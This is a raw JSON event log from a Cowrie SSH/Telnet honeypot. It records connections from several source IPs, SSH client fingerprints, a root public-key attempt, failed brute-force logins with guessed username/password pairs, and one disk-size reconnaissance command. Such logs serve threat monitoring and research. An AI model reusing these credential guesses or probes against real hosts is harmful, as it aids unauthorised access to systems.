{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:27.801516Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:28.005913Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.0","message":"Connection lost after 17.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:28.015394Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":42382,"dst_ip":"10.17.0.5","dst_port":22,"session":"75efb7b70673","protocol":"ssh","message":"New connection: 190.181.25.210:42382 (10.17.0.5:22) [session: 75efb7b70673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:43.653845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:43.660141Z","src_ip":"190.181.25.210","session":"75efb7b70673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:43.780237Z","src_ip":"190.181.25.210","session":"75efb7b70673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"testtest","message":"login attempt [tester/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:44.282485Z","src_ip":"190.181.25.210","session":"75efb7b70673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:45.550179Z","src_ip":"190.181.25.210","session":"75efb7b70673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00428676605225,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:41:03.617255Z","src_ip":"79.133.118.49","session":"8a46c6f4073f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":35434,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c39dfdafbab","protocol":"ssh","message":"New connection: 98.70.48.241:35434 (10.17.0.5:22) [session: 3c39dfdafbab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:41:13.757566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:41:13.767224Z","src_ip":"98.70.48.241","session":"3c39dfdafbab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:41:13.950554Z","src_ip":"98.70.48.241","session":"3c39dfdafbab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p4ssword","message":"login attempt [ubuntu/p4ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:41:14.718868Z","src_ip":"98.70.48.241","session":"3c39dfdafbab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:41:15.907711Z","src_ip":"98.70.48.241","session":"3c39dfdafbab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":50440,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b86357fc401","protocol":"ssh","message":"New connection: 190.181.25.210:50440 (10.17.0.5:22) [session: 7b86357fc401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:41:49.492328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:41:49.497264Z","src_ip":"190.181.25.210","session":"7b86357fc401","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:41:49.618870Z","src_ip":"190.181.25.210","session":"7b86357fc401","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdlkj","message":"login attempt [postgres/asdlkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:41:50.465072Z","src_ip":"190.181.25.210","session":"7b86357fc401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:41:51.588972Z","src_ip":"190.181.25.210","session":"7b86357fc401","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":57062,"dst_ip":"159.203.135.109","dst_port":23,"session":"33e2ed38c46a","protocol":"telnet","message":"New connection: 129.232.238.42:57062 (159.203.135.109:23) [session: 33e2ed38c46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:05.018708Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":53696,"dst_ip":"159.203.135.109","dst_port":23,"session":"40412904ae5d","protocol":"telnet","message":"New connection: 129.232.238.42:53696 (159.203.135.109:23) [session: 40412904ae5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:11.253592Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":35858,"dst_ip":"10.17.0.5","dst_port":22,"session":"0400bac7d8d6","protocol":"ssh","message":"New connection: 98.70.48.241:35858 (10.17.0.5:22) [session: 0400bac7d8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:14.203924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:14.209402Z","src_ip":"98.70.48.241","session":"0400bac7d8d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:14.398391Z","src_ip":"98.70.48.241","session":"0400bac7d8d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testx","password":"testx","message":"login attempt [testx/testx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:15.187319Z","src_ip":"98.70.48.241","session":"0400bac7d8d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:16.382485Z","src_ip":"98.70.48.241","session":"0400bac7d8d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":57072,"dst_ip":"159.203.135.109","dst_port":23,"session":"e00d6bfc7d7c","protocol":"telnet","message":"New connection: 129.232.238.42:57072 (159.203.135.109:23) [session: e00d6bfc7d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:40.700713Z"}
{"eventid":"cowrie.session.closed","duration":3.819033622741699,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:44.519607Z","src_ip":"129.232.238.42","session":"e00d6bfc7d7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":58494,"dst_ip":"10.17.0.5","dst_port":22,"session":"e076e44bf6fd","protocol":"ssh","message":"New connection: 190.181.25.210:58494 (10.17.0.5:22) [session: e076e44bf6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:49.669997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:49.675882Z","src_ip":"190.181.25.210","session":"e076e44bf6fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:49.818739Z","src_ip":"190.181.25.210","session":"e076e44bf6fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mcserver","message":"login attempt [minecraft/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:50.358782Z","src_ip":"190.181.25.210","session":"e076e44bf6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:42:51.492995Z","src_ip":"190.181.25.210","session":"e076e44bf6fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":60208,"dst_ip":"10.17.0.5","dst_port":22,"session":"69201f34f6f0","protocol":"ssh","message":"New connection: 57.128.223.80:60208 (10.17.0.5:22) [session: 69201f34f6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:07.397583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:07.421745Z","src_ip":"57.128.223.80","session":"69201f34f6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:07.524324Z","src_ip":"57.128.223.80","session":"69201f34f6f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"1234","message":"login attempt [myuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:07.951008Z","src_ip":"57.128.223.80","session":"69201f34f6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:09.061032Z","src_ip":"57.128.223.80","session":"69201f34f6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.838945627212524,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:09.092435Z","src_ip":"129.232.238.42","session":"40412904ae5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.180.143","src_port":57212,"dst_ip":"10.17.0.5","dst_port":22,"session":"18871ac16fd1","protocol":"ssh","message":"New connection: 139.162.180.143:57212 (10.17.0.5:22) [session: 18871ac16fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:11.969108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:11.974468Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.073149Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:6f:b0:98:2a:d7:04:97:94:88:20:d9:b9:47:9d:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBm1BBiNirp9Y4ZEbpjqBGVKltzkl1lQWM3fLTlMxRQ/1kOyFEiCm3heOMz+nR4KWsuWLPt4gdsbcaLMxRZGYFT+cp9hF6L9tq99pXwutTCS95vshght2DdFHnDcTsykYlewpHRwN9XQrS7Pfn7T3eKuWl/Bs0OgC9LD5qENciJTdkArouzGUmQMp8B3LlxisvreZRMm5YGU/vDzcfHg50cwfvPrlYM8En1WCVsmnih3zXhMnpT2d+aeQBJIc65AynPV+VH6gbIanXH7heEbpDSV3UwYCJFIsIGs4msIjlp8ta8tMQPAu11YUglw4TXi6yDSSt1E6X92WKe1VcfQsX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:6f:b0:98:2a:d7:04:97:94:88:20:d9:b9:47:9d:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:12.492303Z","src_ip":"139.162.180.143","session":"18871ac16fd1","protocol":"ssh"}
